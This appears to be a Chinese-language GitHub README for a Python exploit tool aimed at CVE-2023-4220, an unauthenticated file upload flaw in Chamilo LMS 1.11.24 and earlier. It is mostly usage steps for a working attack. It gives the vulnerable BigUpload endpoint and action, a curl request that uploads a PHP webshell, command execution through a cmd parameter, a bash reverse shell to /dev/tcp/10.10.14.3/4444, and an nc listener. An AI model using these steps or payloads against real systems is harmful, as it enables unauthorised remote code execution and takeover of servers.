SpeatX/ChamiloLMS-CVE-2023-4220
GitHub: SpeatX/ChamiloLMS-CVE-2023-4220
一个针对 Chamilo LMS ≤ 1.11.24 未授权文件上传漏洞 CVE-2023-4220 的 Python 利用工具,提供自动反弹 shell 和手动监听两种模式,支持 webshell 上传、命令执行及代理。
Stars: 0 | Forks: 0
# ChamiloLMS CVE-2023-4220 漏洞利用工具
Python 漏洞利用工具,针对 **CVE-2023-4220**,一个影响 **Chamilo LMS <= 1.11.24** 的未授权任意文件上传漏洞。
该漏洞位于 Chamilo 的 **BigUpload** 组件。在受影响版本中,文件上传处理程序允许上传 PHP 文件而不进行适当的验证。由于上传的文件存储在 Web 可访问的目录中,如果启用了 PHP 执行,可以直接请求上传的 PHP 文件并将其用作 Web shell。
本仓库包含该漏洞利用工具的两个版本:
```
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
```
两个脚本都会上传 PHP Web shell,验证命令执行,并允许通过 `cmd` GET 参数运行命令。唯一的实际区别在于 `--shell` 的处理方式。
`auto` 版本会启动自身的监听器,触发反弹 shell 并自动切换到交互式会话。
`oscp` 版本触发反弹 shell 载荷,但不会启动监听器。你需要在运行前手动启动你的监听器。
## 安装说明
克隆本仓库:
```
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
```
安装依赖:
```
python3 -m pip install -r requirements.txt
```
唯一的外部依赖是 `requests`,因此也可以手动安装:
```
python3 -m pip install requests
```
## 使用方法
目标地址通过 `-u` 或 `--url` 指定:
```
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
```
两个脚本均提供相同的选项:
```
-u, --url Target base URL
--check Check if the BigUpload files directory is reachable
--upload Upload the webshell and verify command execution
--cmd CMD Execute a single command through the uploaded webshell
--shell LHOST LPORT Trigger a reverse shell
--filename NAME Use a custom filename for the uploaded PHP file
--proxy PROXY Send traffic through a proxy, for example Burp Suite
--timeout SECONDS Set the HTTP timeout
--verify-tls Enable TLS certificate verification
--cleanup Try to remove the uploaded webshell after execution
```
自动版本还包含:
```
--listen-timeout SEC Time to wait for the reverse shell connection
```
## 基本示例
检查预期的 BigUpload 路径是否可达:
```
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
```
上传 PHP Web shell 并验证命令执行:
```
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
```
运行单个命令:
```
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
```
使用自定义文件名:
```
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
```
通过 Burp Suite 发送流量:
```
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
```
以上示例使用了 `auto` 脚本,但同样语法也可用于 `chamilo_cve_2023_4220_oscp.py`。
## 反弹 Shell
两个脚本均提供 `--shell` 选项,但其行为因使用版本而异。
### 自动版本
```
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
```
此版本会在 `10.10.14.3:4444` 上启动本地监听器,上传 Web shell,触发反弹 shell 并自动打开交互式会话。
使用此版本时,你无需手动运行 `nc`。
### OSCP 版本
首先手动启动你的监听器:
```
sudo nc -nlvp 4444
```
然后在另一个终端中运行漏洞利用工具:
```
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
```
此版本仅通过上传的 Web shell 发送反弹 shell 载荷。连接将被你手动启动的监听器接收。
两个脚本触发的反弹 shell 命令等效于:
```
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
```
确保 `LHOST` 值可从目标访问。在 VPN 环境中,这通常是你隧道接口的地址:
```
ip -brief addr show tun0
```
## 漏洞细节
**CVE-2023-4220** 影响 **Chamilo LMS** 版本 **1.11.24** 及以下。
存在漏洞的上传处理器位于:
```
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
```
漏洞利用工具所利用的操作是:
```
?action=post-unsupported
```
上传的文件通常可从以下路径访问:
```
/main/inc/lib/javascript/bigupload/files/
```
漏洞利用工具使用 BigUpload 预期的表单字段发送 `multipart/form-data` POST 请求:
```
bigUploadFile
```
上传的 PHP 载荷是一个小型命令包装器:
```
```
命令通过 `cmd` GET 参数传递:
```
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
```
命令输出周围的标记用于提取 HTTP 响应的相关部分。
## 手动请求
脚本执行的上传操作等效于:
```
curl -i -s -X POST \
-F 'bigUploadFile=@shell.php;filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
```
上传成功后,可以通过以下方式测试命令执行:
```
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
```
## 注意事项
`--check` 仅验证预期的 BigUpload 文件目录是否可达。结果为阳性并不能保证目标可利用。
完整验证需要上传 PHP 载荷并使用 `--upload` 或 `--cmd` 确认命令执行。
如果上传成功但命令执行失败,可能是在上传目录中禁用了 PHP 执行、目标已打补丁或服务器端规则阻止了请求。
如果希望脚本在执行后尝试删除上传的 PHP 文件,可使用 `--cleanup`。
标签:Chamilo LMS, CISA项目, CVE-2023-4220, OSCP, Python, Webshell, 反向Shell, 无后门, 未授权文件上传, 编程工具, 远程代码执行, 逆向工具